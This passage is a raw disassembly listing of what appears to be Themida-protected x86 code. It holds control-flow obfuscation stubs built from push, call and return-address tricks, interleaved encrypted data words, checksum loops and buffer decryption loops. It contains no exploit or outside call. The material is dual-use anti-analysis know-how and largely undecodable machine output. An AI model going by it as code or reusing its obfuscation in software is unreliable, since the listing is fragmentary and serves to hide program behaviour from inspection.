push ecx retn sub_58EA6C endp ; --------------------------------------------------------------------------- dd 0CDE8F011h, 58B0FA9h, 0BB000000h, 407CD464h, 1321B5FFh dd 0FE90628h, 0AE000000h, 0BB43E9D1h, 2574EC17h, 543D3D9Ch dd 6E92F41h, 77000000h, 0F8AA31FFh, 0C195FFCCh, 0E906282Dh dd 116h, 2C099D09h, 0B00628h, 8565BF66h, 0BF5070E6h, 5D4077B5h dd 3171E45Fh, 28038DB5h, 0F613C06h, 0F183h, 0C8B60F00h dd 6E9h, 75011500h, 0BAE5AE66h, 6, 8BD8BF0Fh, 2DBD89C1h dd 0C1062829h, 666004E8h, 61F484BAh, 89E2F766h, 2827398Dh dd 0F8C82B06h, 9589D18Bh, 62817EDh, 18E9h, 12E900h, 5EE70000h dd 0EF6E09FBh, 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 21858BF5h dd 8B06281Eh, 28026D9Dh, 7C08306h, 1481BD23h, 9D8B0628h dd 6281319h, 8B00C083h, 0A99D8BFEh, 3B06282Dh, 14830FD0h dd 0F000000h, 382h, 0FE8B6600h, 5DE9h, 58D2900h, 8B062803h dd 282BB58Dh, 6D9D8B06h, 83062811h, 840F01E1h, 42h, 3840Fh dd 8B660000h, 7E9FBh, 894B0000h, 0ABF5ED68h, 0B5A583FFh dd 0FE06282Bh, 6E8CBB66h, 1E219589h, 12E90628h, 6B000000h dd 9F52448Eh, 0C1C25299h, 0C603AD5Eh, 0B2EBBBF7h, 0E9A6h dd 0B58D0000h, 62BD640h, 201DB589h, 6A0628h, 238D8531h dd 95FF0628h, 6280465h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0B3C35747h, 0D9BA99B7h, 3E1B531h, 8D290628h dd 62820F1h, 81AB9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 18F77DAFh, 898CE43Ah dd 2825B98Dh, 0FCE18306h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D5C35141h, 493CB690h, 5C6C9102h, 0D3D380FCh dd 0B8h, 0EDBD8B00h, 0BA06280Eh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_58EC8B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EC8B proc near ; CODE XREF: Themida_:0058EC83p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_58EC8B endp ; --------------------------------------------------------------------------- push esi and al, 0D6h push esp and [edx], al inc edx retn ; --------------------------------------------------------------------------- jmp loc_58ECBB ; --------------------------------------------------------------------------- dd 0A5B5B76Fh, 54F50C65h, 5C6842D9h, 1686C80Fh db 98h, 45h, 74h ; --------------------------------------------------------------------------- loc_58ECBB: ; CODE XREF: Themida_:0058ECA3j mov [ebp+6280FD9h], edi add di, 2038h loc_58ECC6: ; CODE XREF: Themida_:0058ECD0j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58ECC6 mov [ebp+6281461h], ebx sbb di, 0CBD0h xor [ebp+6280BE1h], edi or eax, 88h jmp loc_58ECFA ; --------------------------------------------------------------------------- db 15h, 0C2h, 1Ah dd 0C9873132h, 0A821F2A4h ; --------------------------------------------------------------------------- sub al, 0DDh loc_58ECFA: ; CODE XREF: Themida_:0058ECE8j jmp loc_58ED13 ; --------------------------------------------------------------------------- mov esi, 0E8EF42B6h xchg eax, edx sbb byte ptr [edx], 72h fdivr dword ptr [ecx+61h] dec esi retf ; --------------------------------------------------------------------------- db 0EAh, 71h, 0B7h db 97h, 99h, 0DAh ; --------------------------------------------------------------------------- loc_58ED13: ; CODE XREF: Themida_:loc_58ECFAj mov edx, [ebp+6280715h] push 0 push ebp call sub_58ED24 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED24 proc near ; CODE XREF: Themida_:0058ED1Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58ED24 endp ; --------------------------------------------------------------------------- mov bl, 4Fh xor [edx-347E9982h], ebx mov esp, 118D01FCh sub ebp, [eax] push es mov ecx, [ebp+62821BDh] push eax push edi mov ebx, [ebp+6280D29h] pop ebx pop edi push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push ebx call sub_58ED71 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED71 proc near ; CODE XREF: Themida_:0058ED69p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58ED71 endp ; --------------------------------------------------------------------------- cdq and ebx, [esi+43737B76h] movsx edi, di cmp dword ptr [ebp+62825A1h], 0 jz loc_58EE10 push 0 push edx call sub_58EDA3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EDA3 proc near ; CODE XREF: Themida_:0058ED9Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_58EDA3 endp ; --------------------------------------------------------------------------- align 4 mov ebx, esi pusha jnb loc_58EDBF mov edx, ecx loc_58EDBF: ; CODE XREF: Themida_:0058EDB7j popa mov eax, 0 clc lea ecx, [ebp+6284F6Eh] push 0 push eax call sub_58EDD7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EDD7 proc near ; CODE XREF: Themida_:0058EDCFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_58EDD7 endp ; --------------------------------------------------------------------------- db 0B4h dd 0E1FF7BC9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0C8C35141h, 5FD6F179h, 0DD025D44h ; --------------------------------------------------------------------------- loc_58EE10: ; CODE XREF: Themida_:0058ED92j cmp dword ptr [ebp+628113Dh], 0 jz loc_58F24D cmp dword ptr [ebp+628113Dh], 1 jz loc_58F268 jge loc_58EE50 call sub_58EE49 pop ss add dl, 17h lodsd inc edx hlt ; --------------------------------------------------------------------------- dd 0A99F2272h, 8B9B9378h, 9B3FC7F8h db 87h ; =============== S U B R O U T I N E ======================================= sub_58EE49 proc near ; CODE XREF: Themida_:0058EE30p ; FUNCTION CHUNK AT 0058F232 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058F283 SIZE 0000000F BYTES mov edi, [ebp+6282539h] pop ebx loc_58EE50: ; CODE XREF: Themida_:0058EE2Aj cmp dword ptr [ebp+628113Dh], 3 jbe loc_58F232 push 0 push edi call sub_58EE68 and [edi-3Dh], bl sub_58EE49 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58EE68 proc near ; CODE XREF: sub_58EE49+17p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_58EE68 endp ; --------------------------------------------------------------------------- dd 0A42D8383h, 8DBF0556h, 66146E21h, 4AB5EB81h, 60F88B66h dd 0D9B70F56h, 0D98C665Fh, 0F8C0Fh, 0AE90000h, 3F000000h dd 426C8F29h, 0CCC53EFDh, 0CE80Eh, 41A20000h, 559E36Dh dd 0CE2E0ED3h, 9D896069h, 628185Dh, 4E1805Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A6C35343h, 6E6C5B85h dd 377D6F74h, 6BD780E2h, 0C90A5F50h, 0C3840Fh, 8E90000h dd 1E000000h, 63B314B0h, 8BC4A391h, 2824C985h, 79BD8B06h dd 3306280Eh, 282D0585h, 7F97BF06h, 66507163h, 892F69BFh dd 0CF812404h, 6DB156F5h, 29419D89h, 6A0628h, 97F38166h dd 0AC98687Fh, 481A950h, 0CE576724h, 50006A56h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 8B17B017h dd 599D8BF5h, 0FF062834h, 28176D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0B604DB46h dd 3EC648F8h, 5810FD8h, 66000000h, 0E8EF81h, 0A3FD8589h dd 0B589062Bh, 6280125h, 0A19D8Bh, 18E90628h, 8B000002h dd 280131BDh, 0F5858B06h, 6A062BA3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0BF6AC353h dd 0ADF27852h, 0C739072Fh, 1800h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD299218h dd 6283479h, 0A3F9B58Bh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0C51888C3h, 0BE9h, 0E582A00h dd 4D7100A5h, 5AE8E707h, 2B65858Bh, 9D8B0628h, 62834B5h dd 5E90689h, 4000000h, 5EFFDEA5h, 24C9858Bh, 6A0628h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 8847C9C3h, 35627B57h, 50044689h, 13E9h, 485D5A00h, 893330B5h dd 8B5C4480h, 0EB86F72Bh, 0A8C8D1DFh, 89243489h, 2804A9BDh dd 0F5B5FF06h, 6A062BA3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 37D3C352h, 0E28CCAE8h dd 0CE9DFh, 0AEB90000h, 5A6B99F6h, 72869CF8h, 5E81EACh dd 6B000000h, 916E13h, 685F82B7h, 61BA2CF3h, 61616060h dd 0C243481h, 6A61A52Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 9978C357h, 524743D5h dd 22E19509h, 858D0628h, 62BA3FDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 1CC35040h, 0F4D7CD56h, 7FB5B131h dd 0A9B501DEh, 50062807h, 8E8h, 84663B00h, 0D044748Dh dd 0BE916h, 43E80000h, 0D903CEA8h, 0ED71A0D7h, 4895FC4h dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0FE55FDE3h, 0B41A749Bh, 31605793h, 280F818Dh dd 4D8D8906h, 61062805h, 176D95FFh, 8B600628h, 2811BD95h dd 0CE806h, 227B0000h, 0E4376F0Eh, 0DC3315EBh, 0D5808C1Ah dd 61615E67h, 3D85C7FCh, 3062811h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 66E4C355h, 0B9C5C781h, 0A3FDBD83h, 0F00062Bh, 2D84h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0DA8B6682h, 0E9DA8B66h, 21h, 0AD33DB81h db 0C0h, 4Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EE49 loc_58F232: ; CODE XREF: sub_58EE49+Ej ; sub_58EE49+400j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_58F232 jmp short loc_58F283 ; END OF FUNCTION CHUNK FOR sub_58EE49 ; --------------------------------------------------------------------------- loc_58F24D: ; CODE XREF: Themida_:0058EE17j ; Themida_:0058F264j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_58F24D jmp short loc_58F283 ; --------------------------------------------------------------------------- loc_58F268: ; CODE XREF: Themida_:0058EE24j ; Themida_:0058F27Fj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_58F268 jmp short $+2 ; START OF FUNCTION CHUNK FOR sub_58EE49 loc_58F283: ; CODE XREF: sub_58EE49+402j ; Themida_:0058F266j mov eax, eax push esi pop edi push 0 push ebx call sub_58F292 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58EE49 ; =============== S U B R O U T I N E ======================================= sub_58F292 proc near ; CODE XREF: sub_58EE49+441p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_58F292 endp ; --------------------------------------------------------------------------- ficom dword ptr [edi-63h] fild dword ptr [ecx-8A26F09h] cmp dword ptr es:[ebp+628113Dh], 3 jnz loc_58F6E9 push 0 push edx call sub_58F2C4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F2C4 proc near ; CODE XREF: Themida_:0058F2BCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58F2C4 endp ; --------------------------------------------------------------------------- cmp dl, [ebp+35FEE7FDh] les ebp, ds:0A3FDBD83h sub eax, [esi] add [edi], cl test [eax], al add al, 0 add [edi+4114D0C6h], bh push dword ptr [ebp+62BA3FDh] jmp loc_58F309 ; --------------------------------------------------------------------------- db 14h, 9Ch, 2 dd 7FDA63E6h, 0D5D31AADh, 0A2E58885h ; --------------------------------------------------------------------------- pop ss loc_58F309: ; CODE XREF: Themida_:0058F2F4j call dword ptr [ebp+6280E95h] push 0 push ecx call sub_58F31A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F31A proc near ; CODE XREF: Themida_:0058F312p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58F31A endp ; --------------------------------------------------------------------------- dw 7960h ; --------------------------------------------------------------------------- cdq movsb add bl, [esi-75BEF8B9h] cli mov esi, [ebp+62BA3F1h] push 0 push edx call sub_58F346 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F346 proc near ; CODE XREF: Themida_:0058F33Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58F346 endp ; --------------------------------------------------------------------------- dw 19C4h dd 0C77E474Fh, 5A8A3715h, 106C7h, 95010001h, 6280711h dd 0B8E0F50h, 0F000000h, 58Ah, 9842BB00h, 34893A48h, 5800F24h dd 66000000h, 0E401DF81h, 0A3FDB5FFh, 6A062Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 943161C3h, 5E66A5DCh, 0C850Fh, 840F0000h, 6, 3299BD89h dd 95FF0628h, 6282019h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0A1C35040h, 454CDCADh, 455A330h, 298589F8h dd 8B062817h, 2BA3F1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 4D7100A5h, 8BE8E707h dd 2817D585h, 0F5952906h, 89062833h, 0C486h, 2D59BB00h dd 958B37ECh, 6280715h, 68B0Fh, 0BD8B0000h, 6281E49h, 6A04C283h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0C0CEC352h, 507282FAh, 7FC1C585h, 6D99D23h dd 50890628h, 0F2BF6620h, 0D9858DC0h, 6A062BB8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0B6C2C355h, 0D509BB66h, 0B88689h, 66600000h, 89C3A1BAh dd 282F1195h, 6A6106h, 0B5FFDD8Ah, 62BA3FDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9FC35747h, 651462E8h dd 604A9885h, 0A0EDB866h, 19F19503h, 0FF610628h, 282CD195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0E2AF2B23h, 5C276170h, 38A0F9Ch, 66000000h dd 0C381DA8Bh, 57F638D2h, 10840F96h, 50000000h, 0E799BF52h dd 310F6350h, 1BA6F6BFh, 50585A08h, 0BE86060h, 44000000h dd 9DB09DAAh, 4FD2DECEh, 0E95FCD06h, 14h, 9AFEF23Bh, 0FCD08AB5h dd 0FA2CAF95h, 29D68356h, 67BFBE0h, 89966161h, 2814719Dh dd 0FDB5FF06h, 29062BA3h, 2832E1B5h, 0B995FF06h, 60062829h dd 1E51B529h, 0CE8B0628h, 55BD8361h, 6280Ch, 16840Fh, 0CB800000h dd 51BB964Fh, 507C2451h, 0FA8B6650h, 8589965Fh, 6280479h dd 0A3FDB5FFh, 0E860062Bh, 7, 0BD5DC1B3h, 0E9E919C6h, 11h dd 25DF5F57h, 614A0D15h, 0D32499F9h, 0E105B73Fh, 0F2805BECh dd 95FF61D2h, 6282285h, 0A3FDB5FFh, 6A062Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 862D45C3h dd 0BB78AFE1h, 7CE77571h, 95FFDF8Bh, 62810C1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1EC35646h, 3F3836B5h dd 0D63F2CC2h, 2709BD8Bh, 8B0F0628h, 6, 295B529h, 0BD830628h dd 6281861h, 5E840F02h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 2BD0C355h dd 84E00C7Ah, 9D8B25D7h, 62822A5h, 1259858Bh, 6A0628h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0B5BF83C3h, 0C94E19Dh, 66E3477Ah, 0FA8BFE8Bh, 8B0000C6h dd 585C7DFh, 62813h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 81D9C357h, 0A2941D3h ; --------------------------------------------------------------------------- push ecx loc_58F6E9: ; CODE XREF: Themida_:0058F2B3j jmp loc_58EA5F ; --------------------------------------------------------------------------- mov edi, [ebp+62819D5h] mov eax, ecx mov ebx, 787DF585h lea eax, [ebp+6282C05h] push ebx movsx ebx, bx pop ebx push eax push ecx mov di, 0B426h pop edi loc_58F70D: ; CODE XREF: Themida_:0058F771j mov [esp], eax push 0 push ecx call sub_58F71B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F71B proc near ; CODE XREF: Themida_:0058F713p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_58F71B endp ; --------------------------------------------------------------------------- mov esi, 0CB80AB8Fh sub [edx+0], ebp jz loc_58F73A clc loc_58F73A: ; CODE XREF: Themida_:0058F733j push 0 jo loc_58F743 stc loc_58F743: ; CODE XREF: Themida_:0058F73Cj jmp loc_58F750 ; --------------------------------------------------------------------------- dd 752C8061h, 0BF2388A3h ; --------------------------------------------------------------------------- loc_58F750: ; CODE XREF: Themida_:loc_58F743j lea eax, [ebp+62C6563h] push 0 push ecx call sub_58F761 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F761 proc near ; CODE XREF: Themida_:0058F759p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58F761 endp ; --------------------------------------------------------------------------- jg short loc_58F70D cld xchg ebp, [edx-7F069F02h] neg byte ptr [edx] popa sub ebx, [ebp+62825D5h] add eax, 5 push 0 push ebx call sub_58F791 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F791 proc near ; CODE XREF: Themida_:0058F789p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_58F791 endp ; --------------------------------------------------------------------------- db 0Ch, 35h, 9Ah ; --------------------------------------------------------------------------- mov edx, 90DA8B66h push eax nop push 0 push esi call sub_58F7B6 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F7B6 proc near ; CODE XREF: Themida_:0058F7AEp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58F7B6 endp ; --------------------------------------------------------------------------- xor dword ptr [eax-4Ah], 0A1E04FDCh or ebx, 235F9EDCh push 0 push 0 push eax call sub_58F7E0 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F7E0 proc near ; CODE XREF: Themida_:0058F7D8p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_58F7E0 endp ; --------------------------------------------------------------------------- dd 0B3E9F5FBh, 6A006A1Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 34CEC356h, 2579B589h dd 95FF0628h, 6282431h, 31F99D8Bh, 8D8D0628h, 62B94F3h dd 1F999D8Bh, 0D1FF0628h, 2415BD83h, 0F010628h, 6785h dd 0E1C38100h, 6A71A916h, 56006A02h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 38634CD2h dd 0DA876CA2h, 9E8C80Bh, 26000000h, 54581040h, 161C69B2h dd 6650905Bh, 6A90FB8Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0FF81C352h, 0D195FFF5h dd 0F906282Ch, 0E20E9h, 0E800h, 815D0000h, 2C656DEDh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 95153D04h, 29EA26CEh, 280E2985h, 0DE906h, 3AD00000h dd 0D7163F6Ch, 0C72EB997h, 8DAD0BC5h, 2B85B085h, 9BD8B06h dd 9006282Dh, 830F5350h, 6, 800Fh, 905F0000h, 35FF64h dd 8B000000h, 283489BDh, 25896406h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_58F92F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58F92F proc near ; CODE XREF: Themida_:0058F927p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_58F92F endp ; --------------------------------------------------------------------------- db 4Ah dd 0C9B33A11h, 0BD2E5F8h, 2803DD9Dh, 5985FF06h, 6A062816h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9B87C355h, 4148A94Fh, 8896A85Bh, 80DBB70Fh dd 0FF6A3AEBh, 1753BF66h, 2955B5FFh, 6A0628h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0EE9174C3h dd 45236EF5h, 17ED9D03h, 95FF0628h, 6282DC1h, 166E9h, 870F5600h dd 3, 5BDE8B66h, 0BE900B0h, 0D3000000h, 0F0492A51h, 0B7C8D6B0h dd 70E63814h, 0AD858B60h, 0F062814h, 685h, 499D8B00h, 61062827h dd 0BD8971E4h, 6281F15h, 830F613Ch, 123h, 0F09B529h, 9D890628h dd 6281FA5h, 0E9C8B60Fh, 8, 3651675Dh, 2807B8BCh, 6BAh dd 4B71BF00h, 0C18B495Fh, 6E8h, 0F04DD000h, 8B9F1974h dd 28083DBDh, 8B0F5F06h, 0 ; --------------------------------------------------------------------------- shr eax, 4 xor edi, [ebp+6282175h] mul dx mov [ebp+6282971h], ebx sub ecx, eax movsx ebx, si mov edx, ecx xor ebx, [ebp+6281855h] jmp loc_58FA78 ; --------------------------------------------------------------------------- jmp loc_58FA78 ; --------------------------------------------------------------------------- db 35h, 78h, 8Fh dd 0C4045145h, 12F3E692h, 8009853Ch ; --------------------------------------------------------------------------- loc_58FA78: ; CODE XREF: Themida_:0058FA5Fj ; Themida_:0058FA64j mov eax, [ebp+628149Dh] call sub_58FA8E jmp small loc_5928E1 ; --------------------------------------------------------------------------- db 22h dd 6022CD03h db 0ABh, 78h ; =============== S U B R O U T I N E ======================================= sub_58FA8E proc near ; CODE XREF: Themida_:0058FA7Ep ; FUNCTION CHUNK AT 0058FB23 SIZE 00000030 BYTES xor [ebp+62829B5h], eax pop ebx add eax, 7 sbb ebx, 12F6350h add eax, 0 jge loc_58FAB4 jmp loc_58FAB4 ; --------------------------------------------------------------------------- dd 0F1392302h, 0F70BF796h ; --------------------------------------------------------------------------- loc_58FAB4: ; CODE XREF: sub_58FA8E+13j ; sub_58FA8E+19j sub [ebp+62823BDh], esi cmp edx, eax jnb loc_58FACA jmp loc_58FB23 ; --------------------------------------------------------------------------- movzx ebx, cx loc_58FACA: ; CODE XREF: sub_58FA8E+2Ej mov ecx, [ebp+62825B5h] push ebx mov edi, esi pop edi mov bx, 6EA4h and ecx, 1 jz loc_58FB23 jo loc_58FAEA movzx ebx, bx loc_58FAEA: ; CODE XREF: sub_58FA8E+53j and dword ptr [ebp+62825B5h], 0FFFFFFFEh call near ptr loc_58FAFC+2 shl byte ptr [edx-0F6BCA32h], cl loc_58FAFC: ; CODE XREF: sub_58FA8E+63p adc eax, 5BDE8B2Ah sub_58FA8E endp ; sp-analysis failed mov bx, ax mov [ebp+628149Dh], edx jmp loc_58FB1E ; --------------------------------------------------------------------------- adc eax, 0A370D4DCh adc eax, 7276F71Bh cmp al, 65h jge short loc_58FB82 xchg eax, esp loc_58FB1E: ; CODE XREF: Themida_:0058FB0Aj jmp $+5 ; START OF FUNCTION CHUNK FOR sub_58FA8E loc_58FB23: ; CODE XREF: sub_58FA8E+34j ; sub_58FA8E+4Dj lea esi, [ebp+62BE0B3h] mov bx, cx push 0 add edi, 5E906045h call dword ptr [ebp+6280465h] mov [ebp+6280DEDh], eax movzx edi, bx mov ecx, 83Eh push 0 push esi call sub_58FB53 and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58FA8E ; =============== S U B R O U T I N E ======================================= sub_58FB53 proc near ; CODE XREF: sub_58FA8E+BDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_58FB53 endp ; --------------------------------------------------------------------------- db 84h dd 58C8E109h, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FB82: ; CODE XREF: Themida_:0058FB1Bj add [edx+52h], al retn ; --------------------------------------------------------------------------- dw 0A81Ch dd 481C3B41h, 82257AFAh, 0DC99D8Bh, 6AFC0628h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7E73C352h, 12E8605Bh, 29000000h, 0A5783B6Dh, 9549894Ah dd 5739610Ah, 74BA82F2h, 0A98D89DBh, 5B062820h, 1E6DBD29h dd 0B8610628h, 0 ; --------------------------------------------------------------------------- mov [ebp+6281E1Dh], edi mov edx, 0 add [ebp+62818DDh], ebx loc_58FBF1: ; CODE XREF: Themida_:0058FBFBj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58FBF1 push eax mov edi, [ebp+6282691h] pop ebx push 0 push ecx call sub_58FC10 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FC10 proc near ; CODE XREF: Themida_:0058FC08p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58FC10 endp ; --------------------------------------------------------------------------- dd 0F0A9071Fh, 7B293350h, 0EF81B30Ch, 677A34BCh, 0CDDB531h dd 880D0628h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 4F1EC350h, 0B6EDFB72h dd 15958BB7h, 81062807h, 0D39C1FCBh, 8BDF8B14h, 2821BD8Dh dd 0DBBF0F06h, 0C28B50F9h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 90E7C351h, 68B0Fh, 9D230000h dd 6282B51h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0DAC35040h, 8C6B9B33h, 8BDB25CDh, 281271BDh, 0A1BD8306h dd 62825h, 6A840Fh, 9D090000h, 6281E75h, 0B8h, 2ABF6600h dd 6E8D8DCAh, 0E806284Fh, 11h, 482A763Fh, 56E02E88h, 0F41DB1A9h dd 5B7B5E67h, 199D034Ah, 5F062827h, 6AE1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 925D14C3h dd 11E96A25h, 2E000000h, 23B5CD1Ch, 0A179989Ah, 43B27637h dd 21409D3Ah, 113DBD83h, 0F000628h, 41B84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E80FC708h, 8, 52867CCCh, 5D5C7659h, 22F608BFh, 83F95B73h dd 28113DBDh, 840F0106h, 3F7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 3DC35141h, 48FCF5C4h, 126DF6DAh dd 2870FE6h, 8A000000h, 3DBD83DAh, 3062811h, 387860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0FF5A90C3h, 712F27FAh, 66F88B42h, 606AD0BBh dd 25598D09h, 8C660628h, 3D9D31D9h, 8006281Eh, 0BB6604E1h dd 0C90A5765h, 10A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 8166A3C3h, 8B5E8CCFh dd 2824C985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 55F9F58Bh, 9E86012h, 6A000000h, 463AC2F5h dd 0D1327AE9h, 615FCF8Bh, 0E9D9D8Bh, 85330628h, 6282D05h dd 0F94DEB81h, 8B900BFBh, 11E850D9h, 0E0000000h, 9B438974h dd 214ACD1Bh, 0A73BE290h, 265962F7h, 905FFA8Ah, 